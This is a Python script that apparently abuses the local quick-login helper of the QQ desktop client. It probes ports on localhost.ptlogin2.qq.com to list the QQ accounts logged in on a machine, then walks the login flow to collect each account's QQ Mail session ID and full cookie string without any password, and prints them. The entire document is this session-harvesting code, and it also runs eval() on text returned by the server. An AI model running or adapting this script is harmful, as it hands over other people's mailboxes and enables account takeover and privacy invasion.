import requests
import re

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
}


def qq_email_cookie():
    url = 'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?target=self&appid=522005705&daid=4&s_url=https://mail.qq.com/cgi-bin/readtemplate?check=false%26t=loginpage_new_jump%26vt=passport%26vm=wpt%26ft=loginpage%26target=&style=25&low_login=1&proxy_url=https://mail.qq.com/proxy.html&need_qr=0&hide_border=1&border_radius=0&self_regurl=http://zc.qq.com/chs/index.html?type=1&app_id=11005?t=regist&pt_feedback_link=http://support.qq.com/discuss/350_1.shtml&css=https://res.mail.qq.com/zh_CN/htmledition/style/ptlogin_input24e6b9.css'

    s = requests.session()

    r = s.get(url, headers=headers)

    pt_local_token = r.cookies.get('pt_local_token')

    def get_qq_list():

        for i in range(10):

            port = 4301 + i

            try:
                r = s.get(
                    "https://localhost.ptlogin2.qq.com:{}/pt_get_uins?callback=ptui_getuins_CB&r=0.10478390749329503&pt_local_tk={}".format(
                        port, pt_local_token),
                    timeout=2,
                    headers={"Referer": url})

                if r.status_code == 200:
                    pattern = re.compile(r'"uin":"(\d+)"')
                    return port, pattern.findall(r.text)
            except:
                pass
        raise Exception("未发现登录QQ")

    port, uin_list = get_qq_list()

    data = []

    for uin in uin_list:
        s.get(
            "https://localhost.ptlogin2.qq.com:{}/pt_get_st?clientuin={}&callback=ptui_getst_CB&r=0.7013579002153798&pt_local_tk={}".format(
                port, uin, pt_local_token),
            headers={"Referer": url, "User-Agent": headers["User-Agent"]})

        r = s.get(
            "https://ssl.ptlogin2.qq.com/jump?clientuin={}&keyindex=9&pt_aid=522005705&daid=4&u1=https%3A%2F%2Fmail.qq.com%2Fcgi-bin%2Freadtemplate%3Fcheck%3Dfalse%26t%3Dloginpage_new_jump%26vt%3Dpassport%26vm%3Dwpt%26ft%3Dloginpage%26target%3D&pt_local_tk={}&pt_3rd_aid=0&ptopt=1&style=25".format(
                uin, pt_local_token),
            headers={"Referer": url, "User-Agent": headers["User-Agent"]})

        check_sig = eval(r.text.replace("ptui_qlogin_CB", ""))[1]

        s.get(check_sig, headers={"Host": "ssl.ptlogin2.mail.qq.com", "Referer": url})

        r = s.get("https://mail.qq.com/cgi-bin/login?vt=passport&vm=wpt&ft=loginpage&target=", headers=headers)

        g_sid = re.findall(r"g_sid=\"(.*)\",", r.text)[0]
        cookie = ";".join([k + "=" + v for k, v in s.cookies.items()])

        data.append({"sid": g_sid, "account": uin, "cookie": cookie})

    return data


if __name__ == '__main__':
    for m in qq_email_cookie():
        print(m)
